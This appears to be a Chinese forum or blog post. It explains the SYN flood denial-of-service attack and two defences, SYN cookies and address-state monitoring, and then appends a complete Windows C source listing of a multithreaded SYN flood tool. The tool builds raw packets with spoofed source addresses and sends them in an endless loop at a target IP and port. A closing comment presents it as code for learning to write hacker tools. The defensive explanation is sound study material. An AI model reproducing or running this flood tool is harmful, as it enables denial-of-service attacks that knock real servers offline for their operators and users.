SYN flood网络攻击的原理及其防御方法

SYN flood网络攻击的原理及其防御方法
摘要  
　　介绍了SYN Flood攻击的基本原理，详细地描述了目前几种比较有效的两种防御措施：SYN－cookie技术和地址状态监控技术。

　　1 SYN Flood攻击介绍：
　　拒绝服务攻击（Denial of Service，DoS）是目前比较有效而又非常难于防御的一种网络攻击方式，它的目的就是使服务器不能够为正常访问的用户提供服务。所以，DoS对一些紧密依靠互联网开展业务的企业和组织带来了致命的威胁。
　　SYN Flood是最为有效和流行的一种DoS攻击形式。它利用TCP三次握手协议的缺陷，向目标主机发送大量的伪造源地址的SYN连接请求，消耗目标主机的资源，从而不能够为正常用户提供服务。
　　1.1 TCP连接建立的过程
　　要掌握SYN Flood攻击的基本原理，必须先介绍TCP的三次握手机制。
　　TCP三次握手过程如下：
　　1)客户端向服务器端发送一个SYN置位的TCP报文，包含客户端使用的端口号和初始序列号x；
　　2)服务器端收到客户端发送来的SYN报文后，向客户端发送一个SYN和ACK都置位的TCP报文，包含确认号为x＋1和服务器的初始序列号y；
　　3）

TCP客户端
客户端端口
（1024－65535）

TCP服务器端
服务器端口
（1－1023）
SYN
SYN/ACK
ACK
　　客户端收到服务器返回的SYN＋ACK报文后，向服务器返回一个确认号为y＋1序号为x＋1的ACK报文，一个标准的TCP连接完成。如图1所示：

1.2 攻击原理
　　在SYN Flood攻击中，黑客机器向受害主机发送大量伪造源地址的TCP SYN报文，受害主机分配必要的资源，然后向源地址返回SYN＋ACK包，并等待源端返回ACK包，如图2所示。由于源地址是伪造的，所以源端永远都不会返回ACK报文，受害主机继续发送SYN＋ACK包，并将半连接放入端口的积压队列中，半连接队列就会很快填满，服务器拒绝新的连接，将导致该端口无法响应其他机器进行的连接请求，最终使受害主机的资源耗尽。

TCP客户端
客户端端口
（1024－65535）

TCP服务器端

服务器端口
（1－1023）
SYN
SYN/ACK

伪造源地址

　　2  几种防御技术
　　SYN Flood攻击给互联网造成重大影响后，针对如何防御SYN Flood攻击出现了几种比较有效的技术。
2.1   SYN－cookie技术
　　一般情况下，当服务器收到一个TCP SYN报文后，马上为该连接请求分配缓冲区，然后返回一个SYN＋ACK报文，这时形成一个半连接。SYN Flood正是利用了这一点，发送大量的伪造源地址的SYN连接请求，而不完成连接。这样就大量的消耗的服务器的资源。
　　SYN－cookie技术针对标准TCP连接建立过程资源分配上的这一缺陷，改变了资源分配的策略。当服务器收到一个SYN报文后，不立即分配缓冲区，而是利用连接的信息生成一个cookie，并将这个cookie作为将要返回的SYN＋ACK报文的初始序列号。当客户端返回一个ACK报文时，根据包头信息计算cookie，与返回的确认序列号（初始的序列号＋1）的前24位进行对比，如果相同，则是一个正常连接，然后，分配资源，建立连接。
　　该技术的巧妙之点在于避免了在连接信息未完全到达前进行资源分配，使SYN Flood攻击的资源消耗失效。实现的关键之处在于cookie的计算。cookie的计算应该做到包含本次连接的状态信息，使攻击者不能伪造cookie。cookie的计算过程如下：
　　1）服务器收到一个SYN包后，计算一个消息摘要mac：
mac = MAC（A，k）；
MAC是密码学中的一个消息认证码函数，也就是满足某种安全性质的带密钥的hash函数，它能够提供cookie计算中需要的安全性。
A为客户和服务器双方的IP地址和端口号以及参数t的串联组合：
A = SOURCE_IP || SOURCE_PORT || DST_IP || DST_PORT || t
K为服务器独有的密钥；
时间参数t为32比特长的时间计数器，每64秒加1；
　　2）生成cookie：
cookie = mac（0:24）：表示取mac值的第0到24比特位；
　　3）设置将要返回的SYN+ACK报文的初始序列号，设置过程如下：
    i.              高24位用cookie代替；
   ii.              接下来的3比特位用客户要求的最大报文长度MMS代替；
   iii.              最后5比特位为t mod 32。
　　客户端收到来自服务器SYN+ACK报文后，返回一个ACK报文，这个ACK报文将带一个cookie（确认号为服务器发送过来的SYN ACK报文的初始序列号加1，所以不影响高24位），在服务器端重新计算cookie，与确认号的前24位比较，如果相同，则说明未被修改，连接合法，然后，服务器完成连接的建立过程。
　　SYN-cookie技术由于在连接建立过程中不需要在服务器端保存任何信息，实现了无状态的三次握手，从而有效的防御了SYN Flood攻击。但是该方法也存在一些弱点。由于cookie的计算只涉及了包头的部分信心，在连接建立过程中不在服务器端保存任何信息，所以失去了协议的许多功能，比如，超时重传。此外，由于计算cookie有一定的运算量，增加了连接建立的延迟时间，因此，SYN-cookie技术不能作为高性能服务器的防御手段。通常采用动态资源分配机制，当分配了一定的资源后再采用cookie技术，Linux就是这样实现的。还有一个问题是，当我们避免了SYN Flood攻击的同时，同时也提供了另一种拒绝服务攻击方式，攻击者发送大量的ACK报文，使服务器忙于计算验证。尽管如此，在预防SYN Flood攻击方面，SYN-cookie技术仍然是一种有效的技术。
2.2  地址状态监控的解决方法
　　地址状态监控的解决方法是利用监控工具对网络中的有关TCP连接的数据包进行监控，并对监听到的数据包进行处理。处理的主要依据是连接请求的源地址。
每个源地址都有一个状态与之对应，总共有四种状态：
初态：任何源地址刚开始的状态；
NEW状态：第一次出现或出现多次也不能断定存在的源地址的状态；
GOOD状态：断定存在的源地址所处的状态；
BAD状态：源地址不存在或不可达时所处的状态。
具体的动作和状态转换根据TCP头中的位码值决定：
　　1）监听到SYN包，如果源地址是第一次出现，则置该源地址的状态为NEW状态；如果是NEW状态或BAD状态；则将该包的RST位置1然后重新发出去，如果是GOOD状态不作任何处理。
　　2）监听到ACK或RST包，如果源地址的状态为NEW状态，则转为GOOD状态；如果是GOOD状态则不变；如果是BAD状态则转为NEW状态；如果是BAD状态则转为NEW状态。
　　3）监听到从服务器来的SYN ACK报文（目的地址为addr），表明服务器已经为从addr发来的连接请求建立了一个半连接，为防止建立的半连接过多，向服务器发送一个ACK包，建立连接，同时，开始计时，如果超时，还未收到ACK报文，证明addr不可达，如果此时addr的状态为GOOD则转为NEW状态；如果addr的状态为NEW状态则转为BAD状态；如果为addr的状态为BAD状态则不变。
状态的转换图如图3所示：

初态
GOOD
NEW
BAD
ACK/RST
SYN
ACK/RST
  
ACK包确认超时
ACK/RST
  
ACK包确认超时
下面分析一下基于地址状态监控的方法如何能够防御SYN Flood攻击。

　　1）对于一个伪造源地址的SYN报文，若源地址第一次出现，则源地址的状态为NEW状态，当监听到服务器的SYN+ACK报文，表明服务器已经为该源地址的连接请求建立了半连接。此时，监控程序代源地址发送一个ACK报文完成连接。这样，半连接队列中的半连接数不是很多。计时器开始计时，由于源地址是伪造的，所以不会收到ACK报文，超时后，监控程序发送RST数据包，服务器释放该连接，该源地址的状态转为BAD状态。之后，对于每一个来自该源地址的SYN报文，监控程序都会主动发送一个RST报文。
　　2）对于一个合法的SYN报文，若源地址第一次出现，则源地址的状态为NEW状态，服务器响应请求，发送SYN＋ACK报文，监控程序发送ACK报文，连接建立完毕。之后，来自客户端的ACK很快会到达，该源地址的状态转为GOOD状态。服务器可以很好的处理重复到达的ACK包。
从以上分析可以看出，基于监控的方法可以很好的防御SYN Flood攻击，而不影响正常用户的连接。
　　3   小结
　　本文介绍了SYN Flood攻击的基本原理，然后详细描述了两种比较有效和方便实施的防御方法：SYN-cookie技术和基于监控的源地址状态技术。SYN-cookie技术实现了无状态的握手，避免了SYN Flood的资源消耗。基于监控的源地址状态技术能够对每一个连接服务器的IP地址的状态进行监控，主动采取措施避免SYN Flood攻击的影响。这两种技术是目前所有的防御SYN Flood攻击的最为成熟和可行的技术。


参考文献
1．   颜学雄，王清贤，李梅林.  SYN Flood攻击原理与预防方法.  计算机应用，2000
2．   孙  曦，朱晓妍，王育林. DDoS下的TCP洪流攻击及对策. 网络安全技术与应用，2004
3．   李  磊，赵永祥，陈常嘉. TCP SYN Flooding原理及其应对策略. 网络与应用，2003
4．   陈  波. SYN Flood攻击的原理、实现与防范. 计算机应用与研究，2003

1. &#35;include <winsock2.h>
2. &#35;include <Ws2tcpip.h>
3. &#35;include <stdio.h>
4. &#35;pragma comment(lib,"ws2_32.lib")
5. &#35;define SEQ 0x28376839
6. int threadnum,maxthread,port;
7. char *DestIP;//目标IP
8. void display(void) // 定义状态提示函数
9. {
10. static int play=0;
11. // 进度条
12. char *plays[12]=
13. {
14. " | ",
15. " / ",
16. " - ",
17. " \\ ",
18. " | ",
19. " / ",
20. " - ",
21. " \\ ",
22. " | ",
23. " / ",
24. " - ",
25. " \\ ",
26. };
27. printf("=%s= %d threads \r", plays[play],threadnum);
28. play=(play==11)?0:play+1;
29. }
30. //定义一个tcphdr结构来存放TCP首部
31. typedef struct tcphdr
32. {
33. USHORT th_sport;//16位源端口号
34. USHORT th_dport;//16位目的端口号
35. unsigned int th_seq;//32位序列号
36. unsigned int th_ack;//32位确认号
37. unsigned char th_lenres;//4位首部长度+6位保留字中的4位
38. unsigned char th_flag;////6位标志位
39. USHORT th_win;//16位窗口大小
40. USHORT th_sum;//16位效验和
41. USHORT th_urp;//16位紧急数据偏移量
42. }TCP_HEADER;
43. //定义一个iphdr来存放IP首部
44. typedef struct iphdr//ip首部
45. {
46. unsigned char h_verlen;//4位手部长度，和4位IP版本号
47. unsigned char tos;//8位类型服务
48. unsigned short total_len;//16位总长度
49. unsigned short ident;//16位标志
50. unsigned short frag_and_flags;//3位标志位（如SYN,ACK,等等)
51. unsigned char ttl;//8位生存时间
52. unsigned char proto;//8位协议
53. unsigned short checksum;//ip手部效验和
54. unsigned int sourceIP;//伪造IP地址
55. unsigned int destIP;//攻击的ip地址
56. }IP_HEADER;
57. //TCP伪首部，用于进行TCP效验和的计算，保证TCP效验的有效性
58. struct
59. {
60. unsigned long saddr;//源地址
61. unsigned long daddr;//目的地址
62. char mbz;//置空
63. char ptcl;//协议类型
64. unsigned short tcpl;//TCP长度
65. }PSD_HEADER;
66. //计算效验和函数，先把IP首部的效验和字段设为0(IP_HEADER.checksum=0)
67. //然后计算整个IP首部的二进制反码的和。
68. USHORT checksum(USHORT *buffer, int size)
69. {
70. unsigned long cksum=0;
71. while(size >1) {
72. cksum+=*buffer++;
73. size-=sizeof(USHORT);
74. }
75. if(size) cksum+=*(UCHAR*)buffer;
76. cksum=(cksum >> 16)+(cksum&0xffff);
77. cksum+=(cksum >>16);
78. return (USHORT)(~cksum);
79. }
80. DWORD WINAPI SynfloodThread(LPVOID lp)//synflood线程函数
81. {
82. SOCKET sock =NULL;
83. int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0;
84. struct sockaddr_in sockAddr;
85. TCP_HEADER tcpheader;
86. IP_HEADER ipheader;
87. char sendBuf[128];
88. sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
89. if(sock==INVALID_SOCKET)
90. {
91. printf("Socket failed: %d\n",WSAGetLastError());
92. return 0;
93. }
94. //设置IP_HDRINCL以便自己填充IP首部
95. ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
96. if(ErrorCode==SOCKET_ERROR)
97. {
98. printf("Set sockopt failed: %d\n",WSAGetLastError());
99. return 0;
100. }
101. //设置发送超时
102. ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
103. if(ErrorCode==SOCKET_ERROR)
104. {
105. printf("Set sockopt time out failed: %d\n",WSAGetLastError());
106. return 0;
107. }
108. //设置目标地址
109. memset(&sockAddr,0,sizeof(sockAddr));
110. sockAddr.sin_family=AF_INET;
111. sockAddr.sin_addr.s_addr =inet_addr(DestIP);
112. FakeIpNet=inet_addr(DestIP);
113. FakeIpHost=ntohl(FakeIpNet);
114. //填充IP首部
115. ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long));
116. ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
117. ipheader.ident = 1;
118. ipheader.frag_and_flags = 0;
119. ipheader.ttl = 128;
120. ipheader.proto = IPPROTO_TCP;
121. ipheader.checksum =0;
122. ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
123. ipheader.destIP = inet_addr(DestIP);
124. //填充TCP首部
125. tcpheader.th_dport=htons(port);
126. tcpheader.th_sport = htons(8080);
127. tcpheader.th_seq = htonl(SEQ+SendSEQ);
128. tcpheader.th_ack = 0;
129. tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
130. tcpheader.th_flag = 2;
131. tcpheader.th_win = htons(16384);
132. tcpheader.th_urp = 0;
133. tcpheader.th_sum = 0;
134. PSD_HEADER.saddr=ipheader.sourceIP;
135. PSD_HEADER.daddr=ipheader.destIP;
136. PSD_HEADER.mbz=0;
137. PSD_HEADER.ptcl=IPPROTO_TCP;
138. PSD_HEADER.tcpl=htons(sizeof(tcpheader));
139. for(;;)
140. {
142. SendSEQ=(SendSEQ==65536)?1:SendSEQ+1;
143. ipheader.checksum =0;
144. ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
145. tcpheader.th_seq = htonl(SEQ+SendSEQ);
146. tcpheader.th_sport = htons(SendSEQ);
147. tcpheader.th_sum = 0;
148. PSD_HEADER.saddr=ipheader.sourceIP;
149. //把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和
150. memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
151. memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
152. tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
153. memcpy(sendBuf,&ipheader,sizeof(ipheader));
154. memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader));
155. memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
156. dataSize=sizeof(ipheader)+sizeof(tcpheader);
157. ipheader.checksum=checksum((USHORT *)sendBuf,dataSize);
158. memcpy(sendBuf,&ipheader,sizeof(ipheader));
159. sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
160. display();
163. }//end for
164. Sleep(20);
165. InterlockedExchangeAdd((long *)&threadnum,-1);
166. return 0;
167. }
168. void usage(char *name)
169. {
170. printf("\t===================SYN Flood======================\n");
171. printf("\t==========gxisone@hotmail.com 2004/7/6========\n");
172. printf("\tusage: %s [dest_IP] [port] [thread]\n",name);
173. printf("\tExample: %s 192.168.1.1 80 100\n",name);
174. }
175. int main(int argc,char* argv[])
176. {
178. if(argc!=4)
179. {
181. usage(argv[0]);
182. return 0;
183. }
184. usage(argv[1]);
185. int ErrorCode=0;
186. DestIP=argv[1];//取得目标主机IP
187. port=atoi(argv[2]);//取得目标端口号
188. maxthread=(maxthread>100)?100:atoi(argv[3]);
189. //如果线程数大于100则把线程数设置为100
190. WSADATA wsaData;
191. if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){
192. printf("WSAStartup failed: %d\n",ErrorCode);
193. return 0;
194. }
196. printf("[start]...........\nPress any key to stop!\n");
197. while(threadnum<maxthread)//循环创建线程
198. {
199. if(CreateThread(NULL,0,SynfloodThread,0,0,0))
200. {
201. Sleep(10);
202. threadnum++;
203. }
204. }
205. WSACleanup();
206. printf("\n[Stopd]...........\n");
208. return 0;
209. }

复制代码

一个SYN flood 工具源代码~~可以学习一下如何编写黑客工具

不错不错,值得收藏!!!